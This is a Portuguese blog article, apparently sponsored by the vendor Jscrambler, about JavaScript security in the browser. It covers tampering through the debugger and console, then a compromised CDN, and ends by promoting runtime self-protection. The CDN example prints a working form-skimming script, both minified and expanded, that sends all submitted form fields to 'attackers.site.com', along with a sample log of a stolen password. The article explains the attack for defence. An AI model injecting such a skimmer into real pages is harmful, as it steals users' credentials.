A maneira mais eficiente para proteger aplicações JavaScript do lado do cliente

Em:

Existem vários recursos úteis em uma tecnologia que roda no lado do cliente, como o JavaScript. Foi isso que fez com que o JS se tornasse a linguagem de programação mais popular no mundo.
A linguagem apresenta muitas vantagens, sendo uma delas a capacidade de interpretação imediata. Isso traz benefícios, por exemplo, ele baixa o conteúdo uma vez que o navegador executa o código. Mas, usar essa linguagem tão flexível em aplicativos da web exige muita responsabilidade.

Neste artigo, nós gostaríamos de nos aprofundar nos riscos de segurança do JavaScript. Nele, falaremos apenas sobre o código front-end que é executado no navegador. Nós vamos focar em outros tipos em publicações futuras.

Imagine o que o navegador precisa fazer para executar um JavaScript. Primeiro, ele precisa baixar a página e começar a interpretar o código. O navegador não espera que tudo seja baixado. Ele tem a capacidade de baixar e interpretar a página simultaneamente. Então, o que acontece quando ele encontra algum arquivo JavaScript?

O JavaScript causa um bloqueio de renderização, e isso é uma enorme vantagem no momento da execução. Isso significa que o navegador irá parar a interpretação, executar o JavaScript primeiro, e depois prosseguir. Isso proporciona uma maior flexibilidade ao usar essa linguagem de programação e abre um leque de possibilidades.
Mas a questão é, quais são as implicações em se ter tais recursos?

Depuração e adulteração de código

Para ilustrar, imagine o seguinte trecho de código:

<div id="hack-target"></div>
<button>Set Value</button> 

<script>  
    document.querySelector('button').addEventListener('click', setValue);

    function setValue() {
        var value = '2';
        document.getElementById('hack-target').innerText = value;  
    }
</script>

Esse código declara um target em HTML e liga aos eventos. Quando você clica o botão, o callback é acionado.

Com o JavaScript no lado do cliente, é possível configurar um breakpoint bem onde o valor é definido. Esse breakpoint é atingido conforme o evento é acionado. O valor que é configurado por meio do var value = '2'; pode ser alterado à vontade. O depurador interrompe a execução e permite a página seja alterada. Essa capacidade é eminente e o navegador não levanta qualquer suspeita enquanto isso está acontecendo.

Como o depurador interrompe a execução, ele tem o poder de interromper a renderização de uma página também. A depuração é parte do conjunto de ferramentas dentro do navegador, então qualquer pessoa tem acesso a ela. Ela faz parte das ferramentas do desenvolvedor.

Para ver essa técnica em ação, dê uma olhada no Code Pen disponível. Abaixo, temos um screenshot desse recurso:
hack

Esse recurso é ótimo para depurar JavaScript, mas o que ele significa para a segurança?

Isso significa que uma pessoa mal intencionada pode alterar o JavaScript em tempo de execução. Ele pode atingir um breakpoint, alterar o DOM e colocar um JavaScript arbitrário no console. Esse tipo de ataque pode explorar vulnerabilidades no cliente. O invasor pode mudar os dados, sequestrar a sessão e fazer mudanças no JavaScript da página.

Com as ferramentas de desenvolvedor abertas, por exemplo, é possível ir até a aba do console e colocar:

document.querySelector('button').addEventListener('click', function () { alert('sacked'); });

Na próxima vez que o evento for acionado, ele irá disparar essa mudança no JavaScript.
Você consegue imaginar o perigo? Pense em algo que já aconteceu antes, o seu CDN é comprometido e o script jQuery que você está incluindo na sua página é modificado, adicionando o trecho de código abaixo:

!function(){document.querySelectorAll("form").forEach(function(a){a.addEventListener("submit",function(a){var b;if(!a.target)return null;b=new FormData(a.target);var d="";for(var e of b.entries())d=d+"&"+e[0]+"="+e[1];return(new Image).src="https://attackers.site.com/?"+d.substring(1),!0})})}();

Provavelmente você não notou nenhuma modificação e basicamente a sua página vai estar distribuindo malware. Vamos olhar para a versão mais legível do mesmo trecho de código:

! function() {
    document.querySelectorAll("form").forEach(function(a) {
        a.addEventListener("submit", function(a) {
            var b;
            if (!a.target) return null;
            b = new FormData(a.target);
            var d = "";
            for (var e of b.entries()) d = d + "&" + e[0] + "=" + e[1];
            return (new Image).src = "https://attackers.site.com/?" + d.substring(1), !0
        })
    })
}();
  1. Para cada form na sua página,
  2. um evento submit é adicionado, de modo que quando acionado,
  3. os dados do formulário são coletados e reescritos usando o formato Query String
  4. que é então acrescentado ao novo recurso Image na URL fonte.

Ok, vamos tornar isso mais claro: Cada vez que um formulário é enviado, os mesmos dados são enviados para um servidor remoto (https://attackers.site.com/), solicitando o que parece ser uma imagem. Assim, o dono do domínio attackers.site.com receberá eu seu log:

79.251.209.237 - - [13/Mar/2017:15:26:14 +0100] "GET [email protected]&pass=k284D5B178Ho7QA HTTP/1.1" 200 4 "https://www.your-website.com/signin" "Mozilla/5.0 (Macintosh; In      tel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"

Por que JavaScript?

A pergunta que você deve estar fazendo é, por que tudo isso funciona dessa forma? Quando o Netscape lançou o JavaScript em 1995, essa nova linguagem de programação se tornou a linguagem padrão da web.

O Netscape enviou seu modelo do JavaScript para a Ecma International e sua versão se tornou a padrão, mais conhecida como ECMAScript. Devido ao fato de o ECMAScript ser padronizado, qualquer navegador que suporta a linguagem deve cumprir com os padrões para que ele não cause conflitos quando o código for utilizado em outros navegadores. Isso significa que, se você escrever um script para o Google Chrome, ele também deve rodar no Opera, Netscape, Internet Explorer e Microsoft Edge. O JavaScript foi construído sob a ideia de flexibilidade. Ele tem toda a capacidade necessária para você fazer o que quiser com ele. A sua natureza dinâmica flui a partir desse princípio de design. Isso permitiu com que ele se tornasse, de fato, uma linguagem para o navegador.

Toda essa história nós já conhecemos, mas e a segurança do JavaScript?

Segurança no lado do cliente

Para proteger-se de códigos JavaScript maliciosos, a melhor opção é adicionar uma proteção de tempo de execução. A autoproteção de aplicativos de tempo de execução (em inglês, Runtime Application Self-Protection, ou RASP) protege o código do cliente durante a execução. Com a flexibilidade e dinâmica da web, vem a necessidade de segurança em tempo de execução, já que um invasor poderia alterar o código do JavaScript no lado do cliente facilmente.

O RASP é o nível de proteção mais efetivo para aplicativos do lado do cliente e pode ser resumido da seguinte forma:

A AUTOPROTEÇÃO DE APLICATIVOS EM TEMPO DE EXECUÇÃO (RASP) É UMA TECNOLOGIA DE SEGURANÇA QUE É DESENVOLVIDA OU LIGADA A UMA APLICAÇÃO OU AMBIENTE DE TEMPO DE EXECUÇÃO DE UMA APLICAÇÃO E É CAPAZ DE CONTROLAR A EXECUÇÃO DO APLICATIVO, DETECTANDO E PREVENINDO ATAQUES EM TEMPO REAL.

A JScrambler oferece uma solução RASP que protege aplicações contra ataques em tempo de execução. Ela pode tornar a aplicação autoprotegida e detectar alterações. As capacidades de autoproteção que ela oferece adicionam uma proteção ativa a aplicação JavaScript. A Jscrambler usa técnicas anti-debugging (anti depuração) e anti-tampering (anti adulteração) – conceitos de proteção de aplicações bem conhecidos, mais especificamente para a realidade e limitações do JavaScript. A anti depuração detecta o uso de ferramentas de depuração (como DevTools, Firebug) e tenta impedir a engenharia reversa de usá-las para depurar o app. Isso é feito por meio de armadilhas no código que fazem com que as ferramentas de depuração parem de funcionar e fazem a pilha de camadas crescer, impedindo o usuário de inspecionar o controle do fluxo do app. A função anti-adulteração detecta as mudanças e reage a elas. Por exemplo, se você adicionar ou remover um simples ponto e vírgula de uma função protegida, ela irá detectar essa alteração e fazer com que o código pare de funcionar. Essas técnicas juntas com a ofuscação do código fazem com que se torne inviável fazer uma alteração na aplicação.

Este artigo foi escrito originalmente pelos nossos parceiros da Jscrambler.

Patrocinadores BrazilJS

Gold

Bronze

BrazilJS® é uma iniciativa NASC.     Hosted by Getup